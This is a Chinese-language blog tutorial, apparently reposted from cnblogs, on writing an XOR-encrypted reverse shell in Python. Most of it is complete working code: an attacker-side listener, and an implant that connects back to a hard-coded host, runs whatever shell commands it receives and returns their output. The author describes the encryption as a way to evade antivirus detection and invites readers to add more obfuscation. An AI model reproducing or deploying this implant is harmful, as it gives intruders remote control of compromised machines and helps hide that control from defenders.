python编写反弹加密shell

python编写反弹加密shell

简要

python编写一个shell脚本是非常方便的事情,很多库可以直接调用,免去了造轮子的麻烦。在这之前,一直想自己尝试编写一个数据加密的shell,这里是自己的demo,加密和解密部分读者可以自己进行改变,比如异或一个值或者换成其他的加密,或多次加密等等。这里我以异或加密来演示。

详细过程

一个shell分为客户端和服务端。在某些情况下,我们无法直接去连接服务器,由于防火墙或者端口原因等等。那么这个时候我们可以接用反弹shell的方式,让服务器来主动连接我们。所以大致的实现过程是分为客户端和服务端两个。

客户端:

身为客户端,由于我们是接收连接的一方,所以我们首先需要监听端口。然后才能建立连接。

client = socket(AF_INET,SOCK_STREAM)
client.bind(('0.0.0.0',8080))
client.listen(5)
print('[+]Listening on port 8080...')
(conn,(ip,port)) = client.accept()
print('connect successfully to',ip)

然后我们要实现一个加密解密的功能,所以这里要编写两个函数,采用的是异或的方式。

def encrypt(data):
    data = bytearray(data)
    for i in range(len(data)):
        data[i] ^= 0x23
    return data


def decrypt(data):
    data = bytearray(data)
    for i in range(len(data)):
        data[i] ^= 0x23
    return data

一个加密,一个解密,从而使我们的数据在传输过程中是加密的形式,一定程度上能达到免杀效果,当然,这里的混淆越多越好。

然后就是实现命令传输,和接收执行结果的实现代码。

while True:
    cmd = input('~$ ').strip()
    if len(cmd) == 0:
        continue
    cmd = encrypt(cmd.encode('utf-8'))
    conn.send(cmd)
    header = conn.recv(4)
    total_size = struct.unpack('i',header)[0]
    recv_size = 0
    while recv_size < total_size:
        recv_data = conn.recv(1024)
        recv_size += len(recv_data)
        recv_data = decrypt(recv_data)
        print(recv_data.decode('utf-8'),end='')

完整代码:

#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# Author:Ameng, jlx-love.com

from socket import *
import struct


client = socket(AF_INET,SOCK_STREAM)
client.bind(('0.0.0.0',8080))
client.listen(5)
print('[+]Listening on port 8080...')
(conn,(ip,port)) = client.accept()
print('connect successfully to',ip)

def encrypt(data):
    data = bytearray(data)
    for i in range(len(data)):
        data[i] ^= 0x23
    return data


def decrypt(data):
    data = bytearray(data)
    for i in range(len(data)):
        data[i] ^= 0x23
    return data


while True:
    cmd = input('~$ ').strip()
    if len(cmd) == 0:
        continue
    cmd = encrypt(cmd.encode('utf-8'))
    conn.send(cmd)
    header = conn.recv(4)
    total_size = struct.unpack('i',header)[0]
    recv_size = 0
    while recv_size < total_size:
        recv_data = conn.recv(1024)
        recv_size += len(recv_data)
        recv_data = decrypt(recv_data)
        print(recv_data.decode('utf-8'),end='')

服务端:

服务端的基本实现与客户端一致,只不过这里是要主动连接客户端,实现代码

#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# Author:Ameng, jlx-love.com

from socket import *
import subprocess
import struct



server = socket(AF_INET,SOCK_STREAM)
server.connect(('192.168.74.147',8080))

def encrypt(data):
    data = bytearray(data)
    for i in range(len(data)):
        data[i] ^= 0x23
    return data


def decrypt(data):
    data = bytearray(data)
    for i in range(len(data)):
        data[i] ^= 0x23
    return data


while True:
    try:
        cmd = server.recv(1024)
        cmd = decrypt(cmd)
        if len(cmd) == 0:
            break
        res = subprocess.Popen(cmd.decode('utf-8'),shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
        stdout_res = res.stdout.read()
        stderr_res = res.stderr.read()
        result = stdout_res + stderr_res
        result = encrypt(result)
        total_size = len(result)
        header = struct.pack('i',total_size)
        server.send(header)
        server.send(result)
    except  Exception:
        break
server.close()

粘包问题

由于采用的是TCP连接,当命令的执行结果特别长时,容易发生粘包问题,即上个命令的执行结果未被全部接收,部分数据仍存放在缓存当中,所以这里采用了struct模块,首先判断长度,然后先把长度传过去,再在客户端使用循环来接收结果。从而避免粘包

结果

客户端:

服务端执行脚本连接就行,可丰富加密函数,实现特有混淆。

原文地址:https://www.cnblogs.com/Jleixin/p/14300080.html